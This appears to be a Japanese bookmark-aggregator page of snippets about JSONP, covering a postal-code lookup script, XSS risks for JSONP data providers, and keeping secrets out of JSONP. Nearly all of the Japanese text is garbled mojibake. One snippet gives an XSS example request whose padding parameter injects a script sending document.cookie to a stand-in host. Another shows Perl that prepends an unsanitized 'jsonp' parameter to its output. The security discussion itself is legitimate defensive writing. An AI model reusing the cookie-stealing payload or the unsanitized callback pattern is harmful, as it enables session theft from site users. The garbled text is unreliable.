ã¦ã¬ã¿ã³ç³»é«åçºãããã¬ã¹ã§ããè¨åãããã®ãå¯åº¦ã§ãããããé å¼µã£ã¦åããããã説æãã¦ã¿ã¾ãã
ã¦ã¬ã¿ã³ç³»é«åçºãããã¬ã¹ã§ããè¨åãããã®ãå¯åº¦ã§ãããããé å¼µã£ã¦åããããã説æãã¦ã¿ã¾ãã
2006å¹´09æ24æ¥16:00 ã«ãã´ãªLightweight Languages javascript + perl - yubin2jsonp ã©ãããªããJSONPã使ã£ã¦ã©ãã«ã§ãè¨ç½®ã§ããããããããã¨æã£ãã®ã§ãããªã®ãããã¾ããã [Ajax] CGIä¸è¦ã®éµä¾¿çªå·â使夿ãã©ã¼ã ãKawa.net Blogã/ã¦ã§ããªããã° JavaScript ã®ã¿ã§ç¨¼åããããããµã¼ããµã¤ãã§ç¨¼åããCGIããã°ã©ã ã¯ä¸è¦ã§ãããããªæãã§ãã ã(7ãã) é½éåºç å¸åºçºæ çºå以é HTMLã¾ã§å«ããsourceã¯ãããªæãã§ãã <script> function Yubin2JSONP(root){ this.root = root; this.parse = function(yubin){ if (! yubin.match(/[0-9]{7}/) ) return
« E4X-XSS èå¼±æ§ã«ã¤ã㦠| ã¡ã¤ã³ | ãã¹ã¼ãã¼æè¡è äºå¥ªæ¦ã » 2007å¹´01æ12æ¥ JSONP - ãã¼ã¿æä¾è å´ã®ã»ãã¥ãªãã£ã«ã¤ã㦠JSONP ã®ã»ãã¥ãªãã£ã¯ãã¨ãããã°ã¤ã³ã¯ã«ã¼ãããå´ã«ã¤ãã¦ã®è°è«ã«ãªããã¡ã§ããããã®å½±ã§ã¤ã³ã¯ã«ã¼ããããå´ã®ãªã¹ã¯ãè¦éããããã¡ã§ããJSONP ã®ä½¿ç¨ã«ããã£ã¦ã¯ããã¼ã¿æä¾è ã¸ã® XSS ã«æ³¨æããå¿ è¦ãããã¾ããèå¼±ãªä¾ã¨ãã¦ã¯ã以ä¸ã®ãããªãã®ãããã¾ãã GET /json.cgi/append.html?padding=%3Cscript%3Elocation='http://example.jp/'%2Bdocument.cookie%3C/script%3E HTTP/1.0 Host: example.com HTTP/1.0 200 OK Content-Type: text/javascript;
2007å¹´6æ7æ¥ ã¯ã¦ãªããã¯ãã¼ã¯ã®ã³ã¡ã³ããããã¦ãã常ã«JSONPãJSONãJavaScriptã«æ©å¯äºé ãå«ããªãããã«ãã¨ããä¸»å¼µãæ¹ãããã¯ãã¹ãã¡ã¤ã³ã¢ã¯ã»ã¹ã®å¯¾çãã¨ã£ã¦ããªãç¶æ ã§ã¯JSONPãJSONãJavaScriptã«æ©å¯äºé ãå«ããªãããã«ãã¨ãã主張ã«é¢ãã¦è¨è¿°ãã¾ããã ããã«ã¡ã¯ãSEã®é²å°ã§ãã ä»åããé±åä½ã§Webã¢ããªã±ã¼ã·ã§ã³ã®ã»ãã¥ãªãã£ã«é¢ããã¨ã³ããªã¼ãæ¸ãã¦ãããã¨æãã¾ãã åèªèº«ãæ¥ã åå¼·ãã¦ç²¾é²ã¨ããã¨ããã§ãã®ã§ãããä½ããã®èª¤ããããã°æ¯éãææãã ããã ã¤ã£ãã¿å¤§æè¿ã§ãã ä»ååãä¸ããã®ã¯Web 2.0ãªã¢ããªã±ã¼ã·ã§ã³ã§ã»ãã¥ãªãã£é¢ã§æ°ãã¤ããã¹ããã¨ã®ä¸ã¤ãæ©å¯æ å ±ã«JSONPã§ã¢ã¯ã»ã¹ãããªã§ãã JSON(JavaScript Object Notation)ã¯JavaScript(ECMAScript)ã®
http://hail2u.net/blog/coding/jsonscriptrequest.html http://hail2u.net/blog/coding/jsonp.html ãã®è¾ºãèªãã§ãè³¢ããªãã¨é¢å¿ããããã£ãããªã®ã§ãæ©éãã£ã¦ã¿ãã ãã¿ã¯ãã¾ãã¾ä½ã£ã¦ãã£ãGoogle夿°æ±ºã§ãããã¯jsonã®ã¤ã³ã¿ã¼ãã§ã¤ã¹ãããã®ã§ããããã¡ãã£ã¨ã ãæ¡å¼µãããæåã«ã§ãä¸ãã£ããã®ããâNot found ã¾ãã¯ããã¯ã¨ã³ãã return '('.JSON::Syck::Dump($struct).')'; ããããã®ã以ä¸ã®ããã«ã my $result = '('.JSON::Syck::Dump($struct).')'; $result = $self->query->param('jsonp') . $result if $self->query->param(
ã©ã³ãã³ã°
ã©ã³ãã³ã°
ãç¥ãã
ãªãªã¼ã¹ãé害æ å ±ãªã©ã®ãµã¼ãã¹ã®ãç¥ãã
ææ°ã®äººæ°ã¨ã³ããªã¼ã®é ä¿¡
å¦çãå®è¡ä¸ã§ã
j次ã®ããã¯ãã¼ã¯
kåã®ããã¯ãã¼ã¯
lãã¨ã§èªã
eã³ã¡ã³ãä¸è¦§ãéã
oãã¼ã¸ãéã
{{#tags}}- {{label}}
{{/tags}}